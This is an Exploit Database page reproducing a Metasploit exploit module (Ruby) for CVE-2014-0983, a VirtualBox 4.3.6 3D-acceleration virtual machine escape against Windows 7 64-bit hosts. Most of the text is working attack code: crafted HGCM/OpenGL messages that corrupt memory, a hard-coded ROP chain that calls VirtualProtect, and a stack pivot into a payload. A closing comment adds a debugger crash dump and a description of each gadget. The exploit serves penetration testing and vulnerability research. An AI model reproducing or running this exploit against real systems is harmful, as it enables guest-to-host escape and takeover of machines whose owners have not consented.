Oracle VM VirtualBox 4.3.6 – 3D Acceleration Virtual Machine Escape (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2014-08-14
• 类别：

  • remote
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/34334/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rex'
  
  class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
  
  DEVICE = '\\\\.\\VBoxGuest'
  INVALID_HANDLE_VALUE = 0xFFFFFFFF
  
  # VBOX HGCM protocol constants
  VBOXGUEST_IOCTL_HGCM_CONNECT= 2269248
  VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
  VBOXGUEST_IOCTL_HGCM_CALL = 2269256
  CONNECT_MSG_SIZE= 140
  DISCONNECT_MSG_SIZE = 8
  SET_VERSION_MSG_SIZE= 40
  SET_PID_MSG_SIZE= 28
  CALL_EA_MSG_SIZE= 40
  VERR_WRONG_ORDER= 0xffffffea
  SHCRGL_GUEST_FN_SET_PID = 12
  SHCRGL_CPARMS_SET_PID = 1
  SHCRGL_GUEST_FN_SET_VERSION = 6
  SHCRGL_CPARMS_SET_VERSION = 2
  SHCRGL_GUEST_FN_INJECT= 9
  SHCRGL_CPARMS_INJECT= 2
  CR_PROTOCOL_VERSION_MAJOR = 9
  CR_PROTOCOL_VERSION_MINOR = 1
  VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1
  VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2
  VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5
  
  def initialize(info={})
  super(update_info(info, {
  'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape',
  'Description'=> %q{
  This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
  vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
  sequence of specially crafted of rendering messages, a virtual machine can exploit an out
  of bounds array access to corrupt memory and escape to the host. This module has been
  tested successfully on Windows 7 SP1 (64 bits) as Host runningVirtual Box 4.3.6.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Francisco Falcon', # Vulnerability Discovery and PoC
  'Florian Ledoux', # Win 8 64 bits exploitation analysis
  'juan vazquez' # MSF module
  ],
  'Arch' => ARCH_X86_64,
  'Platform' => 'win',
  'SessionTypes' => ['meterpreter'],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread'
  },
  'Targets'=>
  [
  [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
  {
  :messages => :target_virtualbox_436_win7_64
  }
  ]
  ],
  'Payload'=>
  {
  'Space' => 7000,
  'DisableNops' => true
  },
  'References' =>
  [
  ['CVE', '2014-0983'],
  ['BID', '66133'],
  ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
  ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
  ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
  ],
  'DisclosureDate' => 'Mar 11 2014',
  'DefaultTarget'=> 0
  }))
  
  end
  
  def open_device
  r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
  
  handle = r['return']
  
  if handle == INVALID_HANDLE_VALUE
  return nil
  end
  
  return handle
  end
  
  def send_ioctl(ioctl, msg)
  result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
  
  if result["GetLastError"] != 0
  unless result["ErrorMessage"].blank?
  vprint_error("#{result["ErrorMessage"]}")
  end
  return nil
  end
  
  unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
  unless result["ErrorMessage"].blank?
  vprint_error("#{result["ErrorMessage"]}")
  end
  return nil
  end
  
  unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
  unless result["ErrorMessage"].blank?
  vprint_error("#{result["ErrorMessage"]}")
  end
  return nil
  end
  
  result
  end
  
  def connect
  msg = "\x00" * CONNECT_MSG_SIZE
  
  msg[4, 4] = [2].pack("V")
  msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"
  
  result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)
  
  if result.nil?
  return result
  end
  
  client_id = result["lpOutBuffer"][136, 4].unpack("V").first
  
  client_id
  end
  
  def disconnect
  msg = "\x00" * DISCONNECT_MSG_SIZE
  
  msg[4, 4] = [@client_id].pack("V")
  
  result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)
  
  result
  end
  
  def set_pid(pid)
  msg = "\x00" * SET_PID_MSG_SIZE
  
  msg[0, 4]= [VERR_WRONG_ORDER].pack("V")
  msg[4, 4]= [@client_id].pack("V")# u32ClientID
  msg[8, 4]= [SHCRGL_GUEST_FN_SET_PID].pack("V")
  msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
  msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
  msg[20, 4] = [pid].pack("V")
  
  result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
  
  result
  end
  
  def set_version
  msg = "\x00" * SET_VERSION_MSG_SIZE
  
  msg[0, 4]= [VERR_WRONG_ORDER].pack("V")
  msg[4, 4]= [@client_id].pack("V") # u32ClientID
  msg[8, 4]= [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
  msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
  msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
  msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
  msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
  msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
  
  result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
  
  result
  end
  
  def trigger(buff_addr, buff_length)
  msg = "\x00" * CALL_EA_MSG_SIZE
  
  msg[4, 4] = [@client_id].pack("V")# u32ClientID
  msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
  msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
  msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
  msg[20, 4] = [@client_id].pack("V") # u32ClientID
  msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
  msg[32, 4] = [buff_length].pack("V") # size_of(buf)
  msg[36, 4] = [buff_addr].pack("V") # (buf)
  
  result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
  
  result
  end
  
  def stack_adjustment
  pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00"# "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
  pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp
  pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset...
  
  pivot
  end
  
  def target_virtualbox_436_win7_64(message_id)
  opcodes = [0xFF, 0xea, 0x02, 0xf7]
  
  opcodes_hdr = [
  0x77474c01,# type CR_MESSAGE_OPCODES
  0x8899,# conn_id
  opcodes.length # numOpcodes
  ]
  
  if message_id == 2
  # Message used to achieve Code execution
  # See at the end of the module for a better description of the ROP Chain,
  # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
  # All gadgets from VBoxREM.dll
  opcodes_data = [0x8, 0x30, 0x331].pack("V*")
  
  opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
  opcodes_data << [112].pack("Q<") # RDX
  opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
  opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
  opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
  opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
  opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
  opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
  opcodes_data << Rex::Text.pattern_create(80)
  opcodes_data << [0].pack("Q<")# 1st arg (lpAddress) # chain will store stack address here
  opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
  opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize)
  opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
  opcodes_data << [0x40].pack("V")# 3rd arg (flNewProtect)
  opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
  opcodes_data << [0x6A70BB20].pack("V")# ptr to jmp VirtualProtect instr.
  opcodes_data << "A" * 8
  opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
  opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
  opcodes_data << "\xe9\x5b\x02\x00\x00"# jmp $+608
  opcodes_data << "A" * (624 - 24 - 5)
  opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
  opcodes_data << stack_adjustment
  opcodes_data << payload.encoded
  opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
  else
  # Message used to corrupt head_spu
  # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
  # 8196 => On my tests, this data size allows to keep the memory
  # not reused until the second packet arrives. The second packet,
  # of course, must have 8196 bytes length too. So this memory is
  # reused and code execution can be accomplished.
  opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
  opcodes_data << "B" * (8196 - opcodes_data.length)
  end
  
  msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data
  
  msg
  end
  
  def send_opcodes_msg(process, message_id)
  msg = self.send(target[:messages], message_id)
  
  mem = process.memory.allocate(msg.length + (msg.length % 1024))
  
  process.memory.write(mem, msg)
  
  trigger(mem, msg.length)
  end
  
  def check
  handle = open_device
  if handle.nil?
  return Exploit::CheckCode::Safe
  end
  session.railgun.kernel32.CloseHandle(handle)
  
  Exploit::CheckCode::Detected
  end
  
  def exploit
  unless self.respond_to?(target[:messages])
  print_error("Invalid target specified: no messages callback function defined")
  return
  end
  
  print_status("Opening device...")
  @handle = open_device
  if @handle.nil?
  fail_with(Failure::NoTarget, "#{DEVICE} device not found")
  else
  print_good("#{DEVICE} found, exploiting...")
  end
  
  print_status("Connecting to the service...")
  @client_id = connect
  if @client_id.nil?
  fail_with(Failure::Unknown, "Connect operation failed")
  end
  
  print_good("Client ID #{@client_id}")
  
  print_status("Calling SET_VERSION...")
  result = set_version
  if result.nil?
  fail_with(Failure::Unknown, "Failed to SET_VERSION")
  end
  
  this_pid = session.sys.process.getpid
  print_status("Calling SET_PID...")
  result = set_pid(this_pid)
  if result.nil?
  fail_with(Failure::Unknown, "Failed to SET_PID")
  end
  
  this_proc = session.sys.process.open
  print_status("Sending First 0xEA Opcode Message to control head_spu...")
  result = send_opcodes_msg(this_proc, 1)
  if result.nil?
  fail_with(Failure::Unknown, "Failed to control heap_spu...")
  end
  
  print_status("Sending Second 0xEA Opcode Message to execute payload...")
  @old_timeout = session.response_timeout
  session.response_timeout = 5
  begin
  send_opcodes_msg(this_proc, 2)
  rescue Rex::TimeoutError
  vprint_status("Expected timeout in case of successful exploitation")
  end
  end
  
  def cleanup
  unless @old_timeout.nil?
  session.response_timeout = @old_timeout
  end
  
  if session_created?
  # Unless we add CoE there is nothing to do
  return
  end
  
  unless @client_id.nil?
  print_status("Disconnecting from the service...")
  disconnect
  end
  
  unless @handle.nil?
  print_status("Closing the device...")
  session.railgun.kernel32.CloseHandle(@handle)
  end
  end
  
  end
  
  =begin
  
  * VirtualBox 4.3.6 / Windows 7 SP1 64 bits
  
  Crash after second message:
  
  0:013> dd rax
  00000000`0e99bd4441306141 61413161 33614132 41346141
  00000000`0e99bd5461413561 37614136 41386141 62413961
  00000000`0e99bd6431624130 41326241 62413362 35624134
  00000000`0e99bd7441366241 62413762 39624138 41306341
  00000000`0e99bd8463413163 33634132 41346341 63413563
  00000000`0e99bd9437634136 41386341 64413963 31644130
  00000000`0e99bda441326441 64413364 35644134 41366441
  00000000`0e99bdb464413764 39644138 41306541 65413165
  0:013> r
  rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
  rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
  rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
   r8=0000000000000001r9=00000000000005c0 r10=0000000000000000
  r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
  r14=000007fef1f90000 r15=0000000002f6e280
  iopl=0 nv up ei pl nz na po nc
  cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010206
  VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
  000007fe`f12797f8 ff9070030000callqword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541
  
  Gadget 1: Stack Pivot # 0x6a682a2a
  
   xchgeax,esp94
   retc3
  
  Gadget 2: Control RDX value # 0x6a68599a
  
   pop rdx5a
   xor ecx,dword ptr [rax]33 08
   add cl,cl00 c9
   movzx eax,al 0f b6 c0
   retc3
  
  Gadget 3: Store ptr to RSP in RAX # 0x6a70a560
  
   lea rax,[rsp+8]48 8d 44 24 08
   retc3
  
  Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c
  
   lea rax,[rdx+rax]48 8d 04 02
   retc3
  
  Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6
  
   add dword ptr [rax],eax01 00
   add cl,cl00 c9
   retc3
  
  Gadget 6: Control R12 # 0x6a68124e
  
  pop r12
  ret
  
  Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d
  
   mov r9,r12 4d 89 e1
   mov r8d,dword ptr [rsp+8Ch]44 8b 84 24 8c 00 00 00
   mov rdx,qword ptr [rsp+68h]48 8b 54 24 68
   mov rcx,qword ptr [rsp+50h]48 8b 4c 24 50
   call rbp ff d5
  
  Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560
  
   lea rax, [rsp+8] 48 8d 44 24 08
   retc3
  
   Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d
  
   push rax 50
   adc cl,ch10 e9
   retc3
  
  =end